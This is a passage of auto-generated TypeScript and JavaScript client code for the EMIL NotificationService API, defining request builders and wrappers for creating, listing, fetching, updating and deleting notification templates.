* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listNotificationTemplates: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateNotificationTemplate: (id: number, updateNotificationTemplateRequestDto: UpdateNotificationTemplateRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>;
};
/**
* NotificationTemplatesApi - functional programming interface
* @export
*/
export declare const NotificationTemplatesApiFp: (configuration?: Configuration) => {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createNotificationTemplate(createNotificationTemplateRequestDto: CreateNotificationTemplateRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateNotificationTemplateResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteNotificationTemplate(id: number, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<object>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getNotificationTemplate(id: number, id2: number, authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetNotificationTemplateResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listNotificationTemplates(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListNotificationTemplatesResponseClass>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateNotificationTemplate(id: number, updateNotificationTemplateRequestDto: UpdateNotificationTemplateRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<UpdateNotificationTemplateResponseClass>>;
};
/**
* NotificationTemplatesApi - factory interface
* @export
*/
export declare const NotificationTemplatesApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createNotificationTemplate(createNotificationTemplateRequestDto: CreateNotificationTemplateRequestDto, authorization?: string, options?: any): AxiosPromise<CreateNotificationTemplateResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteNotificationTemplate(id: number, authorization?: string, options?: any): AxiosPromise<object>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getNotificationTemplate(id: number, id2: number, authorization?: string, expand?: string, options?: any): AxiosPromise<GetNotificationTemplateResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listNotificationTemplates(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListNotificationTemplatesResponseClass>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateNotificationTemplate(id: number, updateNotificationTemplateRequestDto: UpdateNotificationTemplateRequestDto, authorization?: string, options?: any): AxiosPromise<UpdateNotificationTemplateResponseClass>;
};
/**
* Request parameters for createNotificationTemplate operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiCreateNotificationTemplateRequest
*/
export interface NotificationTemplatesApiCreateNotificationTemplateRequest {
/**
*
* @type {CreateNotificationTemplateRequestDto}
* @memberof NotificationTemplatesApiCreateNotificationTemplate
*/
readonly createNotificationTemplateRequestDto: CreateNotificationTemplateRequestDto;
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiCreateNotificationTemplate
*/
readonly authorization?: string;
}
/**
* Request parameters for deleteNotificationTemplate operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiDeleteNotificationTemplateRequest
*/
export interface NotificationTemplatesApiDeleteNotificationTemplateRequest {
/**
*
* @type {number}
* @memberof NotificationTemplatesApiDeleteNotificationTemplate
*/
readonly id: number;
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiDeleteNotificationTemplate
*/
readonly authorization?: string;
}
/**
* Request parameters for getNotificationTemplate operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiGetNotificationTemplateRequest
*/
export interface NotificationTemplatesApiGetNotificationTemplateRequest {
/**
*
* @type {number}
* @memberof NotificationTemplatesApiGetNotificationTemplate
*/
readonly id: number;
/**
*
* @type {number}
* @memberof NotificationTemplatesApiGetNotificationTemplate
*/
readonly id2: number;
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiGetNotificationTemplate
*/
readonly authorization?: string;
/**
*
* @type {string}
* @memberof NotificationTemplatesApiGetNotificationTemplate
*/
readonly expand?: string;
}
/**
* Request parameters for listNotificationTemplates operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiListNotificationTemplatesRequest
*/
export interface NotificationTemplatesApiListNotificationTemplatesRequest {
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly authorization?: string;
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly pageSize?: number;
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly pageToken?: string;
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly filter?: string;
/**
* To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly search?: string;
/**
* The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly order?: string;
/**
* Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly expand?: string;
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @type {string}
* @memberof NotificationTemplatesApiListNotificationTemplates
*/
readonly filters?: string;
}
/**
* Request parameters for updateNotificationTemplate operation in NotificationTemplatesApi.
* @export
* @interface NotificationTemplatesApiUpdateNotificationTemplateRequest
*/
export interface NotificationTemplatesApiUpdateNotificationTemplateRequest {
/**
*
* @type {number}
* @memberof NotificationTemplatesApiUpdateNotificationTemplate
*/
readonly id: number;
/**
*
* @type {UpdateNotificationTemplateRequestDto}
* @memberof NotificationTemplatesApiUpdateNotificationTemplate
*/
readonly updateNotificationTemplateRequestDto: UpdateNotificationTemplateRequestDto;
/**
* Bearer Token
* @type {string}
* @memberof NotificationTemplatesApiUpdateNotificationTemplate
*/
readonly authorization?: string;
}
/**
* NotificationTemplatesApi - object-oriented interface
* @export
* @class NotificationTemplatesApi
* @extends {BaseAPI}
*/
export declare class NotificationTemplatesApi extends BaseAPI {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {NotificationTemplatesApiCreateNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
createNotificationTemplate(requestParameters: NotificationTemplatesApiCreateNotificationTemplateRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CreateNotificationTemplateResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {NotificationTemplatesApiDeleteNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
deleteNotificationTemplate(requestParameters: NotificationTemplatesApiDeleteNotificationTemplateRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<object, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {NotificationTemplatesApiGetNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
getNotificationTemplate(requestParameters: NotificationTemplatesApiGetNotificationTemplateRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetNotificationTemplateResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {NotificationTemplatesApiListNotificationTemplatesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
listNotificationTemplates(requestParameters?: NotificationTemplatesApiListNotificationTemplatesRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListNotificationTemplatesResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {NotificationTemplatesApiUpdateNotificationTemplateRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof NotificationTemplatesApi
*/
updateNotificationTemplate(requestParameters: NotificationTemplatesApiUpdateNotificationTemplateRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<UpdateNotificationTemplateResponseClass, any, {}>>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.NotificationTemplatesApi = exports.NotificationTemplatesApiFactory = exports.NotificationTemplatesApiFp = exports.NotificationTemplatesApiAxiosParamCreator = void 0;
var axios_1 = __importDefault(require("axios"));
// Some imports not used depending on template conditions
// @ts-ignore
var common_1 = require("../common");
// @ts-ignore
var base_1 = require("../base");
// URLSearchParams not necessarily used
// @ts-ignore
var url_1 = require("url");
var FormData = require('form-data');
/**
* NotificationTemplatesApi - axios parameter creator
* @export
*/
var NotificationTemplatesApiAxiosParamCreator = function (configuration) {
var _this = this;
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createNotificationTemplate: function (createNotificationTemplateRequestDto, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'createNotificationTemplateRequestDto' is not null or undefined
(0, common_1.assertParamExists)('createNotificationTemplate', 'createNotificationTemplateRequestDto', createNotificationTemplateRequestDto);
localVarPath = "/notificationservice/v1/notification-templates";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(createNotificationTemplateRequestDto, localVarRequestOptions, configuration);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.delete\"
* @param {number} id
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
deleteNotificationTemplate: function (id, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'id' is not null or undefined
(0, common_1.assertParamExists)('deleteNotificationTemplate', 'id', id);
localVarPath = "/notificationservice/v1/notification-templates/{id}"
.replace("{".concat("id", "}"), encodeURIComponent(String(id)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'DELETE' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {number} id
* @param {number} id2
* @param {string} [authorization] Bearer Token
* @param {string} [expand]
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getNotificationTemplate: function (id, id2, authorization, expand, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'id' is not null or undefined
(0, common_1.assertParamExists)('getNotificationTemplate', 'id', id);
// verify required parameter 'id2' is not null or undefined
(0, common_1.assertParamExists)('getNotificationTemplate', 'id2', id2);
localVarPath = "/notificationservice/v1/notification-templates/{id}"
.replace("{".concat("id", "}"), encodeURIComponent(String(id)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (id2 !== undefined) {
localVarQueryParameter['id'] = id2;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.view\"
* @param {string} [authorization] Bearer Token
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] The order parameter determines how the results should be sorted according to a specified field. It functions similarly to an SQL ORDER BY. Sorting can be performed in either ascending (ASC) or descending (DESC) order. Default: ASC.
* @param {string} [expand] Use this parameter to fetch additional information about the list items. The expand query parameter increases the set of fields that appear in the response in addition to the default ones. Expanding resources can reduce the number of API calls required to accomplish a task. However, use this with parsimony as some expanded fields can drastically increase payload size.
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations. In general, fetching filtered responses conserves bandwidth and reduces response time.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listNotificationTemplates: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
localVarPath = "/notificationservice/v1/notification-templates";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (pageSize !== undefined) {
localVarQueryParameter['pageSize'] = pageSize;
}
if (pageToken !== undefined) {
localVarQueryParameter['pageToken'] = pageToken;
}
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (search !== undefined) {
localVarQueryParameter['search'] = search;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-templates.update\"
* @param {number} id
* @param {UpdateNotificationTemplateRequestDto} updateNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
updateNotificationTemplate: function (id, updateNotificationTemplateRequestDto, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'id' is not null or undefined
(0, common_1.assertParamExists)('updateNotificationTemplate', 'id', id);
// verify required parameter 'updateNotificationTemplateRequestDto' is not null or undefined
(0, common_1.assertParamExists)('updateNotificationTemplate', 'updateNotificationTemplateRequestDto', updateNotificationTemplateRequestDto);
localVarPath = "/notificationservice/v1/notification-templates/{id}"
.replace("{".concat("id", "}"), encodeURIComponent(String(id)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'PUT' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
localVarHeaderParameter['Content-Type'] = 'application/json';
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(updateNotificationTemplateRequestDto, localVarRequestOptions, configuration);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
};
};
exports.NotificationTemplatesApiAxiosParamCreator = NotificationTemplatesApiAxiosParamCreator;
/**
* NotificationTemplatesApi - functional programming interface
* @export
*/
var NotificationTemplatesApiFp = function (configuration) {
var localVarAxiosParamCreator = (0, exports.NotificationTemplatesApiAxiosParamCreator)(configuration);
return {
/**
* undefined **Required Permissions** \"notification-management.email-templates.create\"
* @param {CreateNotificationTemplateRequestDto} createNotificationTemplateRequestDto
* @param {string} [authorization] Bearer Token
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
createNotificationTemplate: function (createNotificationTemplateRequestDto, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.createNotificationTemplate(createNotificationTemplateRequestDto, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
